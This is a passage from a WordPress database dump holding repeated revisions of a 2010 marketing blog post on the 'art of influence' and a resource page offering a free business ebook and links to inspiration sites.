you, dust of your old copy of Dale Carnegie’s iconic book and give it a good read.</h3>', 'How to master the art of influence.', 0, '', 'inherit', 'open', 'open', '', '871-revision-3', '', '', '2010-06-22 15:25:41', '2010-06-22 22:25:41', '', 871, 'http://www.whitehotcenter.com/2010/06/22/871-revision-3/', 0, 'revision', '', 0),
(877, 2, '2010-06-22 15:33:31', '2010-06-22 22:33:31', '<img class="alignnone size-full wp-image-872" title="influence" src="http://whc.fbdev.org/wp-content/uploads/2010/06/influence.gif" alt="" width="493" height="312" />\r\n<h2>Think for a moment about how skillful you are at influencing people. Influence is the most important attribute of a successful person, brand or organization. You simply must be influential, if you are to achieve any goal or desire. Influence is not something with which we''re born. It can be learned, and with focused diligence on your part, you can become a master at influencing people and their desire to do business with you.</h2>\r\nLet’s begin our discussion by defining what influence really is. First off, influence is not coercion.  Influential people have a highly developed skill that has a direct impact on the thinking, decisions and behaviors of others. This influence moves people in a positive way that instills trust and respect. Influential people have a vivid picture in their mind of how they want others to respond to them, and a high percentage of the time, they make that picture become reality.\r\n\r\nAs an creative entrepreneur, you already know the value your influence skills have on making every aspect of your business massively successful.  Within the context of marketing and sales, influence is essential for success. How can you be more influential in creating demand for your offerings?  The following principles represent the most powerful "guidelines" to master the art of influence with others.\r\n\r\nAs you read each of them, assess your strengths and weaknesses. Which principles already shape how you interact with your colleagues, customers and prospective customers every day? Which of these principles do you know to be true, yet don''t practice (and why not)? And which ones are new to you, that provide inspiration you can act on to grow your influence right away?\r\n\r\n<strong>Balance your desire for results with strengthened relationships.</strong>\r\nTo be influential, you must achieve your results while strengthening your relationships with others. You can push too hard, achieve a result but damage the relationship by being forceful and coercive. On the other hand, if you are timid and passive, and avoid standing up confidently, you diminish the respect people have for you, which in turn diminishes your influence significantly. In selling situations, both are the kiss of death. Influential people have a knack for balancing both their desire for results with actions that build stronger relationships.\r\n\r\n<strong>It’s all about them and never you!</strong>\r\nTo be truly influential, create opportunity for others first. People do things for their reasons, never for yours. In every conversation with colleagues and customers, put your focused energy on making them successful first.  Your growing influence will be a natural result. You’ll know you are growing your influence when you hear yourself saying “you” more than “I” in your conversations.\r\n\r\n<strong>People do things for emotional reasons, not logical ones.</strong>\r\nUltimately, people act (buy) for emotional reasons – even those who seem completely logical by nature. Most of us want to experience pleasure and avoid pain. If you can show people why your ideas, products or services will help them feel pleasure and not pain, your influence with them will grow significantly.\r\n\r\n<strong>People want more of what is in short supply.</strong>\r\nWhen you give the impression that your services are exclusive, that your business is full, and that you only work with a few clients at a time, you will be more attractive to prospects. That''s because people want more of what they believe they can''t have. In creating greater demand for your products and services, you have to be special and specialized. When you (and your business) become the known expert for solving a specific problem, clients with the problems you solve will seek you out. This enables you to be selective about the customers you take on. When you create scarcity for your time, you also create more influence. You also can charge a premium for your offerings.\r\n\r\n<strong>People are influenced by how remarkable you are.</strong>\r\nWhen others are remarking about you in positive ways, you become remarkable!  All influential people are remarkable. The more your clients-to-be hear of you through trusted third party sources, (the web, friends, colleagues, trade magazines, bloggers) the more your influence grows. To build your influence today, you must engage in the social media conversation that people in your market are currently having. Do more of these things:\r\n\r\n<strong><span style="color: #ff6600;">Ask for testimonials and endorsements from your current and past clients.</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Start a blog on your website, share your expertise, and build your credibility.</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Develop case studies as digital downloads on your site, or as links in your articles.</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Volunteer your time and expertise with leaders in your target market.</span></strong>\r\n\r\n<strong>People are influenced by people they like and are like them.</strong>\r\nTo be more influential, be more like the people you want to influence. Talk about things that they care about, show common ground and shared values. Remember that like attracts like. Being perceived by others as a trusted member of the tribe enhances your influence. Of course, in this regard, your actions must speak louder than your words. To be influential with your clients to be, there are two questions they need an affirmative answer to:\r\n<h2><span style="color: #808080;">can you solve my problem?</span></h2>\r\n<h2><span style="color: #808080;">do I want to work with you?</span></h2>\r\nThe more common ground you have with your customers will go a long way towards their answer to the second question–and it will influence their answer to the first. It’s not difficult to be likeable when you are genuine, humble, courteous, respectful and show empathy for others.\r\n\r\n<strong>Pulling is more influential than pushing.</strong>\r\nThere are two ways to influence other people: you can push them, or you can pull them. In a selling situation, nobody wants to be pushed. I believe in this idea so strongly I named my marketing and brand consulting firm PULL.  Pulling implies there is a magical, powerful, attractive and influential force behind your actions. You pull people into your orbit with the gravity of your caring, listening and sharing of ideas that will serve your customer’s success.  Serve another person''s  success and you will be immediately influential to them.\r\n\r\n<strong>Stand on equal ground, and then elevate all others.</strong>\r\nFinally, you are more influential when you stand as an equal with the person you want to influence. You must project an image of confidence and mastery. In selling, this is essential. More importantly, your influence takes a quantum leap when everything you do elevates and inspires the confidence and mastery of other people, particularly your clients. I believe this to be a prerequisite for leadership. Lighting the way for others by your own example is the surest method for influencing the thinking and behavior of others.\r\n<h3>Of course if none of these principles resonate with you, dust of your old copy of Dale Carnegie’s iconic book and give it a good read.</h3>', 'How to master the art of influence.', 0, '', 'inherit', 'open', 'open', '', '871-revision-5', '', '', '2010-06-22 15:33:31', '2010-06-22 22:33:31', '', 871, 'http://www.whitehotcenter.com/2010/06/22/871-revision-5/', 0, 'revision', '', 0),
(878, 2, '2010-06-22 15:36:03', '2010-06-22 22:36:03', '<img class="alignnone size-full wp-image-872" title="influence" src="http://whc.fbdev.org/wp-content/uploads/2010/06/influence.gif" alt="" width="493" height="312" />\r\n<h2>Think for a moment about how skillful you are at influencing people. Influence is the most important attribute of a successful person, brand or organization. You simply must be influential, if you are to achieve any goal or desire. Influence is not something with which we''re born. It can be learned, and with focused diligence on your part, you can become a master at influencing people and their desire to do business with you.</h2>\r\nLet’s begin our discussion by defining what influence really is. First off, influence is not coercion.  Influential people have a highly developed skill that has a direct impact on the thinking, decisions and behaviors of others. This influence moves people in a positive way that instills trust and respect. Influential people have a vivid picture in their mind of how they want others to respond to them, and a high percentage of the time, they make that picture become reality.\r\n\r\nAs an creative entrepreneur, you already know the value your influence skills have on making every aspect of your business massively successful.  Within the context of marketing and sales, influence is essential for success. How can you be more influential in creating demand for your offerings?  The following principles represent the most powerful "guidelines" to master the art of influence with others.\r\n\r\nAs you read each of them, assess your strengths and weaknesses. Which principles already shape how you interact with your colleagues, customers and prospective customers every day? Which of these principles do you know to be true, yet don''t practice (and why not)? And which ones are new to you, that provide inspiration you can act on to grow your influence right away?\r\n\r\n<strong>Balance your desire for results with strengthened relationships.</strong>\r\nTo be influential, you must achieve your results while strengthening your relationships with others. You can push too hard, achieve a result but damage the relationship by being forceful and coercive. On the other hand, if you are timid and passive, and avoid standing up confidently, you diminish the respect people have for you, which in turn diminishes your influence significantly. In selling situations, both are the kiss of death. Influential people have a knack for balancing both their desire for results with actions that build stronger relationships.\r\n\r\n<strong>It’s all about them and never you!</strong>\r\nTo be truly influential, create opportunity for others first. People do things for their reasons, never for yours. In every conversation with colleagues and customers, put your focused energy on making them successful first.  Your growing influence will be a natural result. You’ll know you are growing your influence when you hear yourself saying “you” more than “I” in your conversations.\r\n\r\n<strong>People do things for emotional reasons, not logical ones.</strong>\r\nUltimately, people act (buy) for emotional reasons – even those who seem completely logical by nature. Most of us want to experience pleasure and avoid pain. If you can show people why your ideas, products or services will help them feel pleasure and not pain, your influence with them will grow significantly.\r\n\r\n<strong>People want more of what is in short supply.</strong>\r\nWhen you give the impression that your services are exclusive, that your business is full, and that you only work with a few clients at a time, you will be more attractive to prospects. That''s because people want more of what they believe they can''t have. In creating greater demand for your products and services, you have to be special and specialized. When you (and your business) become the known expert for solving a specific problem, clients with the problems you solve will seek you out. This enables you to be selective about the customers you take on. When you create scarcity for your time, you also create more influence. You also can charge a premium for your offerings.\r\n\r\n<strong>People are influenced by how remarkable you are.</strong>\r\nWhen others are remarking about you in positive ways, you become remarkable!  All influential people are remarkable. The more your clients-to-be hear of you through trusted third party sources, (the web, friends, colleagues, trade magazines, bloggers) the more your influence grows. To build your influence today, you must engage in the social media conversation that people in your market are currently having. Do more of these things:\r\n\r\n<strong><span style="color: #ff6600;">Ask for testimonials and endorsements from your current and past clients.</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Start a blog on your website, share your expertise, and build your credibility.</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Develop case studies as digital downloads on your site, or as links in your articles.</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Volunteer your time and expertise with leaders in your target market.</span></strong>\r\n\r\n<strong>People are influenced by people they like and are like them.</strong>\r\nTo be more influential, be more like the people you want to influence. Talk about things that they care about, show common ground and shared values. Remember that like attracts like. Being perceived by others as a trusted member of the tribe enhances your influence. Of course, in this regard, your actions must speak louder than your words. To be influential with your clients-to-be, there are two questions they need an affirmative answer to:\r\n<h2><span style="color: #808080;">can you solve my problem?</span></h2>\r\n<h2><span style="color: #808080;">do I want to work with you?</span></h2>\r\nThe more common ground you have with your clients-to-be will go a long way towards their answer to the second question–and it will influence their answer to the first. It’s not difficult to be likeable when you are genuine, humble, courteous, respectful and show empathy for others.\r\n\r\n<strong>Pulling is more influential than pushing.</strong>\r\nThere are two ways to influence other people: you can push them, or you can pull them. In a selling situation, nobody wants to be pushed. I believe in this idea so strongly I named my marketing and brand consulting firm PULL.  Pulling implies there is a magical, powerful, attractive and influential force behind your actions. You pull people into your orbit with the gravity of your caring, listening and sharing of ideas that will serve your customer’s success.  Serve another person''s  success and you will be immediately influential to them.\r\n\r\n<strong>Stand on equal ground, and then elevate all others.</strong>\r\nFinally, you are more influential when you stand as an equal with the person you want to influence. You must project an image of confidence and mastery. In selling, this is essential. More importantly, your influence takes a quantum leap when everything you do elevates and inspires the confidence and mastery of other people, particularly your clients. I believe this to be a prerequisite for leadership. Lighting the way for others by your own example is the surest method for influencing the thinking and behavior of others.\r\n<h3>Of course if none of these principles resonate with you, dust of your old copy of Dale Carnegie’s iconic book and give it a good read.</h3>', 'How to master the art of influence.', 0, '', 'inherit', 'open', 'open', '', '871-revision-6', '', '', '2010-06-22 15:36:03', '2010-06-22 22:36:03', '', 871, 'http://www.whitehotcenter.com/2010/06/22/871-revision-6/', 0, 'revision', '', 0),
(879, 2, '2010-06-22 15:42:17', '2010-06-22 22:42:17', '<img class="alignnone size-full wp-image-872" title="influence" src="http://whc.fbdev.org/wp-content/uploads/2010/06/influence.gif" alt="" width="493" height="312" />\r\n<h2>Think for a moment about how skillful you are at influencing people. Influence is the most important attribute of a successful person, brand or organization. You simply must be influential, if you are to achieve any goal or desire. Influence is not something with which we''re born. It can be learned, and with focused diligence on your part, you can become a master at influencing people and their desire to do business with you.</h2>\r\nLet’s begin our discussion by defining what influence really is. First off, influence is not coercion.  Influential people have a highly developed skill that has a direct impact on the thinking, decisions and behaviors of others. This influence moves people in a positive way that instills trust and respect. Influential people have a vivid picture in their mind of how they want others to respond to them, and a high percentage of the time, they make that picture become reality.\r\n\r\nAs an creative entrepreneur, you already know the value your influence skills have on making every aspect of your business massively successful.  Within the context of marketing and sales, influence is essential for success. How can you be more influential in creating demand for your offerings?  The following principles represent the most powerful "guidelines" to master the art of influence with others.\r\n\r\nAs you read each of them, assess your strengths and weaknesses. Which principles already shape how you interact with your colleagues, customers and prospective customers every day? Which of these principles do you know to be true, yet don''t practice (and why not)? And which ones are new to you, that provide inspiration you can act on to grow your influence right away?\r\n\r\n<strong>Balance your desire for results with strengthened relationships.</strong>\r\nTo be influential, you must achieve your results while strengthening your relationships with others. You can push too hard, achieve a result but damage the relationship by being forceful and coercive. On the other hand, if you are timid and passive, and avoid standing up confidently, you diminish the respect people have for you, which in turn diminishes your influence significantly. In selling situations, both are the kiss of death. Influential people have a knack for balancing both their desire for results with actions that build stronger relationships.\r\n\r\n<strong>It’s all about them and never you!</strong>\r\nTo be truly influential, create opportunity for others first. People do things for their reasons, never for yours. In every conversation with colleagues and customers, put your focused energy on making them successful first.  Your growing influence will be a natural result. You’ll know you are growing your influence when you hear yourself saying “you” more than “I” in your conversations.\r\n\r\n<strong>People do things for emotional reasons, not logical ones.</strong>\r\nUltimately, people act (buy) for emotional reasons – even those who seem completely logical by nature. Most of us want to experience pleasure and avoid pain. If you can show people why your ideas, products or services will help them feel pleasure and not pain, your influence with them will grow significantly.\r\n\r\n<strong>People want more of what is in short supply.</strong>\r\nWhen you give the impression that your services are exclusive, that your business is full, and that you only work with a few clients at a time, you will be more attractive to prospects. That''s because people want more of what they believe they can''t have. In creating greater demand for your products and services, you have to be special and specialized. When you (and your business) become the known expert for solving a specific problem, clients with the problems you solve will seek you out. This enables you to be selective about the customers you take on. When you create scarcity for your time, you also create more influence. You also can charge a premium for your offerings.\r\n\r\n<strong>People are influenced by how remarkable you are.</strong>\r\nWhen others are remarking about you in positive ways, you become remarkable!  All influential people are remarkable. The more your clients-to-be hear of you through trusted third party sources, (the web, friends, colleagues, trade magazines, bloggers) the more your influence grows. To build your influence today, you must engage in the social media conversation that people in your market are currently having. Do more of these things:\r\n\r\n<strong><span style="color: #ff6600;">Ask for testimonials and endorsements from your current and past clients.</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Start a blog on your website, share your expertise, and build your credibility.</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Develop case studies as digital downloads on your site, or as links in your articles.</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Volunteer your time and expertise with leaders in your target market.</span></strong>\r\n\r\n<strong>People are influenced by people they like and are like them.</strong>\r\nTo be more influential, be more like the people you want to influence. Talk about things that they care about, show common ground and shared values. Remember that like attracts like. Being perceived by others as a trusted member of the tribe enhances your influence. Of course, in this regard, your actions must speak louder than your words. To be influential with your clients-to-be, there are two questions they need an affirmative answer to:\r\n<h2><span style="color: #808080;">can you solve my problem?</span></h2>\r\n<h2><span style="color: #808080;">do I want to work with you?</span></h2>\r\nThe more common ground you have with your clients-to-be will go a long way towards their answer to the second question–and it will influence their answer to the first. It’s not difficult to be likeable when you are genuine, humble, courteous, respectful and show empathy for others.\r\n\r\n<strong>Pulling is more influential than pushing.</strong>\r\nThere are two ways to influence other people: you can push them, or you can pull them. In a selling situation, nobody wants to be pushed. I believe in this idea so strongly I named my marketing and brand consulting firm <a href="http://www.pullinc.com" target="_blank">PULL</a>.  Pulling implies there is a magical, powerful, attractive and influential force behind your actions. You pull people into your orbit with the gravity of your caring, listening and sharing of ideas that will serve your customer’s success.  Serve another person''s  success and you will be immediately influential to them.\r\n\r\n<strong>Stand on equal ground, and then elevate all others.</strong>\r\nFinally, you are more influential when you stand as an equal with the person you want to influence. You must project an image of confidence and mastery. In selling, this is essential. More importantly, your influence takes a quantum leap when everything you do elevates and inspires the confidence and mastery of other people, particularly your clients. I believe this to be a prerequisite for leadership. Lighting the way for others by your own example is the surest method for influencing the thinking and behavior of others.\r\n<h2><span style="color: #808080;">Of course if none of these principles resonate with you, dust of your old copy of Dale Carnegie’s iconic book and give it a good read.</span></h2>', 'How to master the art of influence.', 0, '', 'inherit', 'open', 'open', '', '871-revision-7', '', '', '2010-06-22 15:42:17', '2010-06-22 22:42:17', '', 871, 'http://www.whitehotcenter.com/2010/06/22/871-revision-7/', 0, 'revision', '', 0),
(880, 2, '2010-12-27 16:03:26', '2010-12-27 23:03:26', '<img class="alignnone size-full wp-image-872" title="influence" src="http://whc.fbdev.org/wp-content/uploads/2010/06/influence.gif" alt="" width="444" height="281" />\r\n<h2>Think for a moment about how skillful you are at influencing people. Influence is the most important attribute of a successful person, brand or organization. You simply must be influential, if you are to achieve any goal or desire. Influence is not something with which we''re born. It can be learned, and with focused diligence on your part, you can become a master at influencing people and their desire to do business with you.</h2>\r\nLet’s begin our discussion by defining what influence really is. First off, influence is not coercion.  Influential people have a highly developed skill that has a direct impact on the thinking, decisions and behaviors of others. This influence moves people in a positive way that instills trust and respect. Influential people have a vivid picture in their mind of how they want others to respond to them, and a high percentage of the time, they make that picture become reality.\r\n\r\nAs an creative entrepreneur, you already know the value your influence skills have on making every aspect of your business massively successful.  Within the context of marketing and sales, influence is essential for success. How can you be more influential in creating demand for your offerings?  The following principles represent the most powerful "guidelines" to master the art of influence with others.\r\n\r\nAs you read each of them, assess your strengths and weaknesses. Which principles already shape how you interact with your colleagues, customers and prospective customers every day? Which of these principles do you know to be true, yet don''t practice (and why not)? And which ones are new to you, that provide inspiration you can act on to grow your influence right away?\r\n\r\n<strong>Balance your desire for results with strengthened relationships.</strong>\r\nTo be influential, you must achieve your results while strengthening your relationships with others. You can push too hard, achieve a result but damage the relationship by being forceful and coercive. On the other hand, if you are timid and passive, and avoid standing up confidently, you diminish the respect people have for you, which in turn diminishes your influence significantly. In selling situations, both are the kiss of death. Influential people have a knack for balancing both their desire for results with actions that build stronger relationships.\r\n\r\n<strong>It’s all about them and never you!</strong>\r\nTo be truly influential, create opportunity for others first. People do things for their reasons, never for yours. In every conversation with colleagues and customers, put your focused energy on making them successful first.  Your growing influence will be a natural result. You’ll know you are growing your influence when you hear yourself saying “you” more than “I” in your conversations.\r\n\r\n<strong>People do things for emotional reasons, not logical ones.</strong>\r\nUltimately, people act (buy) for emotional reasons – even those who seem completely logical by nature. Most of us want to experience pleasure and avoid pain. If you can show people why your ideas, products or services will help them feel pleasure and not pain, your influence with them will grow significantly.\r\n\r\n<strong>People want more of what is in short supply.</strong>\r\nWhen you give the impression that your services are exclusive, that your business is full, and that you only work with a few clients at a time, you will be more attractive to prospects. That''s because people want more of what they believe they can''t have. In creating greater demand for your products and services, you have to be special and specialized. When you (and your business) become the known expert for solving a specific problem, clients with the problems you solve will seek you out. This enables you to be selective about the customers you take on. When you create scarcity for your time, you also create more influence. You also can charge a premium for your offerings.\r\n\r\n<strong>People are influenced by how remarkable you are.</strong>\r\nWhen others are remarking about you in positive ways, you become remarkable!  All influential people are remarkable. The more your clients-to-be hear of you through trusted third party sources, (the web, friends, colleagues, trade magazines, bloggers) the more your influence grows. To build your influence today, you must engage in the social media conversation that people in your market are currently having. Do more of these things:\r\n\r\n<strong><span style="color: #ff6600;">Ask for testimonials and endorsements from your current and past clients.</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Start a blog on your website, share your expertise, and build your credibility.</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Develop case studies as digital downloads on your site, or as links in your articles.</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Volunteer your time and expertise with leaders in your target market.</span></strong>\r\n\r\n<strong>People are influenced by people they like and are like them.</strong>\r\nTo be more influential, be more like the people you want to influence. Talk about things that they care about, show common ground and shared values. Remember that like attracts like. Being perceived by others as a trusted member of the tribe enhances your influence. Of course, in this regard, your actions must speak louder than your words. To be influential with your clients-to-be, there are two questions they need an affirmative answer to:\r\n<h2><span style="color: #808080;">can you solve my problem?</span></h2>\r\n<h2><span style="color: #808080;">do I want to work with you?</span></h2>\r\nThe more common ground you have with your clients-to-be will go a long way towards their answer to the second question–and it will influence their answer to the first. It’s not difficult to be likeable when you are genuine, humble, courteous, respectful and show empathy for others.\r\n\r\n<strong>Pulling is more influential than pushing.</strong>\r\nThere are two ways to influence other people: you can push them, or you can pull them. In a selling situation, nobody wants to be pushed. I believe in this idea so strongly I named my marketing and brand consulting firm <a href="http://www.pullinc.com" target="_blank">PULL</a>.  Pulling implies there is a magical, powerful, attractive and influential force behind your actions. You pull people into your orbit with the gravity of your caring, listening and sharing of ideas that will serve your customer’s success.  Serve another person''s  success and you will be immediately influential to them.\r\n\r\n<strong>Stand on equal ground, and then elevate all others.</strong>\r\nFinally, you are more influential when you stand as an equal with the person you want to influence. You must project an image of confidence and mastery. In selling, this is essential. More importantly, your influence takes a quantum leap when everything you do elevates and inspires the confidence and mastery of other people, particularly your clients. I believe this to be a prerequisite for leadership. Lighting the way for others by your own example is the surest method for influencing the thinking and behavior of others.\r\n<h2><span style="color: #808080;">Of course if none of these principles resonate with you, dust off your old copy of Dale Carnegie’s iconic book and give it a good read.</span></h2>', 'How to master the art of influence.', 0, '', 'inherit', 'open', 'open', '', '871-autosave', '', '', '2010-12-27 16:03:26', '2010-12-27 23:03:26', '', 871, 'http://www.whitehotcenter.com/2010/06/22/871-autosave/', 0, 'revision', '', 0),
(881, 2, '2010-06-22 15:45:27', '2010-06-22 22:45:27', '<img class="alignnone size-full wp-image-872" title="influence" src="http://whc.fbdev.org/wp-content/uploads/2010/06/influence.gif" alt="" width="493" height="312" />\r\n<h2>Think for a moment about how skillful you are at influencing people. Influence is the most important attribute of a successful person, brand or organization. You simply must be influential, if you are to achieve any goal or desire. Influence is not something with which we''re born. It can be learned, and with focused diligence on your part, you can become a master at influencing people and their desire to do business with you.</h2>\r\nLet’s begin our discussion by defining what influence really is. First off, influence is not coercion.  Influential people have a highly developed skill that has a direct impact on the thinking, decisions and behaviors of others. This influence moves people in a positive way that instills trust and respect. Influential people have a vivid picture in their mind of how they want others to respond to them, and a high percentage of the time, they make that picture become reality.\r\n\r\nAs an creative entrepreneur, you already know the value your influence skills have on making every aspect of your business massively successful.  Within the context of marketing and sales, influence is essential for success. How can you be more influential in creating demand for your offerings?  The following principles represent the most powerful "guidelines" to master the art of influence with others.\r\n\r\nAs you read each of them, assess your strengths and weaknesses. Which principles already shape how you interact with your colleagues, customers and prospective customers every day? Which of these principles do you know to be true, yet don''t practice (and why not)? And which ones are new to you, that provide inspiration you can act on to grow your influence right away?\r\n\r\n<strong>Balance your desire for results with strengthened relationships.</strong>\r\nTo be influential, you must achieve your results while strengthening your relationships with others. You can push too hard, achieve a result but damage the relationship by being forceful and coercive. On the other hand, if you are timid and passive, and avoid standing up confidently, you diminish the respect people have for you, which in turn diminishes your influence significantly. In selling situations, both are the kiss of death. Influential people have a knack for balancing both their desire for results with actions that build stronger relationships.\r\n\r\n<strong>It’s all about them and never you!</strong>\r\nTo be truly influential, create opportunity for others first. People do things for their reasons, never for yours. In every conversation with colleagues and customers, put your focused energy on making them successful first.  Your growing influence will be a natural result. You’ll know you are growing your influence when you hear yourself saying “you” more than “I” in your conversations.\r\n\r\n<strong>People do things for emotional reasons, not logical ones.</strong>\r\nUltimately, people act (buy) for emotional reasons – even those who seem completely logical by nature. Most of us want to experience pleasure and avoid pain. If you can show people why your ideas, products or services will help them feel pleasure and not pain, your influence with them will grow significantly.\r\n\r\n<strong>People want more of what is in short supply.</strong>\r\nWhen you give the impression that your services are exclusive, that your business is full, and that you only work with a few clients at a time, you will be more attractive to prospects. That''s because people want more of what they believe they can''t have. In creating greater demand for your products and services, you have to be special and specialized. When you (and your business) become the known expert for solving a specific problem, clients with the problems you solve will seek you out. This enables you to be selective about the customers you take on. When you create scarcity for your time, you also create more influence. You also can charge a premium for your offerings.\r\n\r\n<strong>People are influenced by how remarkable you are.</strong>\r\nWhen others are remarking about you in positive ways, you become remarkable!  All influential people are remarkable. The more your clients-to-be hear of you through trusted third party sources, (the web, friends, colleagues, trade magazines, bloggers) the more your influence grows. To build your influence today, you must engage in the social media conversation that people in your market are currently having. Do more of these things:\r\n\r\n<strong><span style="color: #ff6600;">Ask for testimonials and endorsements from your current and past clients.</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Start a blog on your website, share your expertise, and build your credibility.</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Develop case studies as digital downloads on your site, or as links in your articles.</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Volunteer your time and expertise with leaders in your target market.</span></strong>\r\n\r\n<strong>People are influenced by people they like and are like them.</strong>\r\nTo be more influential, be more like the people you want to influence. Talk about things that they care about, show common ground and shared values. Remember that like attracts like. Being perceived by others as a trusted member of the tribe enhances your influence. Of course, in this regard, your actions must speak louder than your words. To be influential with your clients-to-be, there are two questions they need an affirmative answer to:\r\n<h2><span style="color: #808080;">can you solve my problem?</span></h2>\r\n<h2><span style="color: #808080;">do I want to work with you?</span></h2>\r\nThe more common ground you have with your clients-to-be will go a long way towards their answer to the second question–and it will influence their answer to the first. It’s not difficult to be likeable when you are genuine, humble, courteous, respectful and show empathy for others.\r\n\r\n<strong>Pulling is more influential than pushing.</strong>\r\nThere are two ways to influence other people: you can push them, or you can pull them. In a selling situation, nobody wants to be pushed. I believe in this idea so strongly I named my marketing and brand consulting firm <a href="http://www.pullinc.com" target="_blank">PULL</a>.  Pulling implies there is a magical, powerful, attractive and influential force behind your actions. You pull people into your orbit with the gravity of your caring, listening and sharing of ideas that will serve your customer’s success.  Serve another person''s  success and you will be immediately influential to them.\r\n\r\n<strong>Stand on equal ground, and then elevate all others.</strong>\r\nFinally, you are more influential when you stand as an equal with the person you want to influence. You must project an image of confidence and mastery. In selling, this is essential. More importantly, your influence takes a quantum leap when everything you do elevates and inspires the confidence and mastery of other people, particularly your clients. I believe this to be a prerequisite for leadership. Lighting the way for others by your own example is the surest method for influencing the thinking and behavior of others.\r\n<h2><span style="color: #808080;">Of course if none of these principles resonate with you, dust of your old copy of Dale Carnegie’s iconic book and give it a good read.</span></h2>', 'How to master the art of influence.', 0, '', 'inherit', 'open', 'open', '', '871-revision-8', '', '', '2010-06-22 15:45:27', '2010-06-22 22:45:27', '', 871, 'http://www.whitehotcenter.com/2010/06/22/871-revision-8/', 0, 'revision', '', 0);
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(887, 2, '2010-06-23 09:30:01', '2010-06-23 16:30:01', '<span style="color: #808080;"> </span>\r\n<h2><span style="color: #ff6600;"><strong><img class="size-full wp-image-734 alignnone" title="whcebook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whcebook1.gif" alt="The White Hot Center Guide to Building a Competition Proof Business" width="350" height="396" /></strong></span></h2>\r\n<h2><span style="color: #ff6600;">Download  your absolutely FREE COPY now!</span></h2>\r\n<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf">The White Hot Center Guide to Building a Competition Proof Business</a>. </span></h2>\r\n<h2><span style="color: #ff6600;"> </span><span style="color: #ff6600;"><span style="color: #ff6600;"> </span></span><span style="color: #333333;">White Hot Center founder Thomson Dawson offers six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will help place you i a frame of mind to create a value monopoly with your customers. In an age of commoditization in every product and service category, this guide will help you discover and define what it takes to make your business stand out from the slush pile of endless competitors!</span></h2>\r\n<strong>WHC highly recommends you check out these great resources for personal and professional inspiration and effectiveness:</strong><strong>\r\n</strong>\r\n<h2><a href="http://www.whitehottruth.com" target="_blank"><span style="color: #808080;">whitehottruth.com</span></a></h2>\r\n<h2><a href="http://www.the99percent.com" target="_blank"><span style="color: #808080;">the99percent.com</span></a></h2>\r\n<h2><a href="http://www.lateralaction.com" target="_blank"><span style="color: #808080;">lateralaction.com</span></a></h2>\r\n<h2><a href="http://www.accidentalcreative.com" target="_blank"><span style="color: #808080;">accidentalcreative.com</span></a></h2>\r\n<h2><a href="http://www.strategiccoach.com" target="_blank"><span style="color: #808080;">strategiccoach.com</span></a></h2>\r\n<h2><a href="http://www.zenhabits.com" target="_blank"><span style="color: #808080;">zenhabits.com</span></a></h2>\r\n<h2><a href="http://www.ted.com" target="_blank"><span style="color: #808080;">ted.com</span></a></h2>\r\n<h2><a href="http://www.blog.success.com" target="_blank"><span style="color: #808080;"> </span></a></h2>\r\n<h2><span style="color: #ff6600;"><a href="http://www.sethgodin.typepad.com" target="_blank"><span style="color: #808080;">sethgodin.com</span></a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-06-23 09:30:01', '2010-06-23 16:30:01', '', 145, 'http://www.whitehotcenter.com/2010/06/23/145-revision-19/', 0, 'revision', '', 0),
(882, 2, '2010-04-16 13:09:33', '2010-04-16 20:09:33', '<span style="color: #808080;"> </span>\r\n<h2><span style="color: #808080;"><strong><img class="size-full wp-image-734 alignnone" title="whcebook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whcebook1.gif" alt="The White Hot Center Guide to Building a Competition Proof Business" width="350" height="396" /></strong></span><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf">The White Hot Center Guide to Building a Competition Proof Business</a>. Download your absolutely FREE COPY now!</span><span style="color: #ff6600;"><span style="color: #ff6600;">\r\n</span></span></h2>\r\n<h2><span style="color: #333333;">White Hot Center founder Thomson Dawson offers six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will help you create a value monopoly with your customers. In an age of commoditization in every product and service category, this guide will help you discover and define what it takes to make your business stand out from the slush pile of endless competitors!</span></h2>\r\n<span style="color: #333333;">\r\n</span>\r\n\r\n<strong>WHC highly recommends you check out these great resources for personal and professional inspiration and effectiveness:</strong><strong>\r\n</strong>\r\n<h2><a href="http://www.whitehottruth.com" target="_blank"><span style="color: #808080;">whitehottruth.com</span></a></h2>\r\n<h2><a href="http://www.the99percent.com" target="_blank"><span style="color: #808080;">the99percent.com</span></a></h2>\r\n<h2><a href="http://www.lateralaction.com" target="_blank"><span style="color: #808080;">lateralaction.com</span></a></h2>\r\n<h2><a href="http://www.accidentalcreative.com" target="_blank"><span style="color: #808080;">accidentalcreative.com</span></a></h2>\r\n<h2><a href="http://www.strategiccoach.com" target="_blank"><span style="color: #808080;">strategiccoach.com</span></a></h2>\r\n<h2><a href="http://www.zenhabits.com" target="_blank"><span style="color: #808080;">zenhabits.com</span></a></h2>\r\n<h2><a href="http://www.ted.com" target="_blank"><span style="color: #808080;">ted.com</span></a></h2>\r\n<h2><a href="http://www.blog.success.com" target="_blank"><span style="color: #808080;">blog.success.com</span></a></h2>\r\n<h2><span style="color: #ff6600;"><a href="http://www.sethgodin.typepad.com" target="_blank"><span style="color: #808080;">sethgodin.com</span></a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-04-16 